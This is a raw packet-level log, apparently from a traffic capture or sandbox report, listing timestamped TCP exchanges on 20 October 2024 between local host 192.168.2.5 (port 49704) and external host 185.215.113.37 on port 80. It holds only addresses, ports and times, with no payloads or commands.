Oct 20, 2024 08:40:15.001458883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.001467943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.001475096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.001486063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.001494884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.001499891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.001503944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.001507998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.001522064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.001554012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.001748085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.001764059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.001773119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.001919031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.001926899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.001992941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002003908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002012968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002022028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002027988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002032042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.002032042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.002038956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002048016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.002131939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.002159119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002167940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002183914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002193928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.002193928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002207041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002216101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002223015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.002228022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002244949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002298117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002321005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.002321005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.002321005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.002342939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.002409935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002419949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002429008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002439022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002448082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002458096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002466917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002509117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.002509117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.002509117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.002923012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002974033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.002985001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.003020048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.003074884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.003084898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.003093958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.003103018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.003212929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.003231049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.003269911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.003294945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.003304005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.003324032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.003333092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.003353119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.003354073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.003366947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.003397942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.003426075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.003459930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.003459930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.003459930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.003459930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.003947973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.004007101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.004010916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.004020929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.004034042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.004051924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.004054070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.004064083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.004074097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.004101992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.304573059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304616928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304626942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304637909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304649115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304660082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304660082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.304687977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.304725885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.304780960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304790974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304800987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304811001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304821014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304821014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.304831028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304833889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.304841042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304852009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304862022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304866076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.304872990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304883957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304898977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.304898977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.304924965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.304933071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304944992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304954052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304964066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304971933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.304975033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304986000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304996967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.304999113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.305006027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305015087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305023909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305026054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.305037975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.305042028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305056095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305059910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.305068016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305078030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305083036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305088043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305099010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305105925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.305105925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.305109978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305120945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305129051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.305130959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305140972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305146933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.305151939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305155993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.305161953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305185080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.305191040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305201054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305207014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305207014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.305216074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305227041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305233955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.305237055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305247068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305257082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305262089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.305267096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305272102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305277109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305280924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.305282116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305335045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.305344105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.305360079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305367947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305385113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305394888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305399895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305402994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.305408955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305418015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305428982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305439949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305444956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.305444956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.305445910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305457115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305465937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305474997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305479050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.305480957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305490971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305502892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305504084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.305511951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.305529118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.305556059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.305556059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.497562885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497591019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497601032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497610092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497622967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497637987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497648954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497658014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497658968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.497669935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497679949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497689962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497699976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497709990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497719049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497731924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497736931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.497749090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497762918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.497764111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497773886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497783899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497786999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.497792959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497803926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497806072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.497812986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497823954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497833014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497838974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.497843027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497853041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497863054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497873068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.497893095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.497896910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497909069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497910023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.497914076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497922897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497927904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497931957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497937918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497952938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497962952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497967958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497977018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497986078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497992039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497997999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.497997999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.497998953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498008966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498018980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498028994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498034000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498034000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498034000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498054028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498074055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498122931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498131990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498140097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498150110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498159885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498166084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498166084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498167038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498174906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498184919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498193979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498203993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498203993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498203993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498225927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498234987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498265028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498275042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498284101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498292923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498301983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498311996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498316050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498322010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498331070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498341084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498346090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498353958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498353958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498363972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498364925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498394966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498394966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498413086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498420000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498428106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498436928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498445988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498459101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498461008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498471022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498481035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498481989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498491049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498501062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498511076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498514891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498518944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498518944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498524904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498534918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498538017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498538971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498549938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498558044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498564005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498567104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498581886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498591900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498595953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498599052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498599052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498601913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498610973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498620033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498631001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498635054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498640060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498640060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498641014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498650074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498660088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498683929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498683929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498719931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498743057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498753071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498760939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498768091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498776913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498780012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498788118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498797894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:15.498802900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498811960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:15.498816967 CEST	49704	80	192.168.2.5	185.215.113.37
